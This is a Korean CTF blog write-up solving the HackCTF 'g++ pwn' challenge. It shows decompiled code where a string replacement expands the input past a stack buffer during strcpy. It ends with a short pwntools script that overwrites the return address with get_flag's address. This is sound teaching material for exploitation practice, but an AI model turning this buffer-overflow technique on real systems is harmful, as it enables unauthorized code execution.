[HackCTF] g++ pwn 풀이 (200p)
Wargame/HackCTF

[HackCTF] g++ pwn 풀이 (200p)

풀이

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)


먼저 gpwn을 실행해보자.

문자열 하나를 받고, 그대로 출력하는 건가?

IDA로 슈도코드를 확인해보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

main 함수에서는 바로 vuln 함수를 실행한다.

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n", &s);

언뜻 보면 복잡해 보이지만, replace 함수를 이용해 I를 You로 바꾼다.

입력받는 문자열 s는 ebp-3ch에 위치하고, fgets로 32byte만큼 받으므로, 단순한 bof는 터지지 않는다.

하지만, replace 함수를 이용해 I -> You로 바꾼 문자열을 strcpy 해주기 때문에 여기서 bof가 발생한다.

 

그러므로, 0x3c + SFP + ret(get_flag 함수의 주소)를 넣어주면 get_flag가 실행될 것이다.

I를 21개 입력하면 You*21 이니, 63칸이 채워졌고, A로 1칸을 채워주면 64byte, 그 뒤에 get_flag 주소를 넣어주면?

  1 from pwn import *
  2
  3 p = remote ('ctf.j0n9hyun.xyz',3011)
  4
  5 payload = 'I'*21
  6 payload += 'A'*1
  7 payload += "\x0d\x8f\x04\x08"
  8
  9 p.sendline(payload)
 10 p.interactive()

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996 풀이 (200p)  (0) 2020.08.23
[HackCTF] poet 풀이 (200p)  (0) 2020.08.23
[HackCTF] RTL_World 풀이 (200p)  (0) 2020.08.23
[HackCTF] Yes or no 풀이 (150p)  (0) 2020.08.23
[HackCTF] Pwnable 후기  (0) 2020.07.18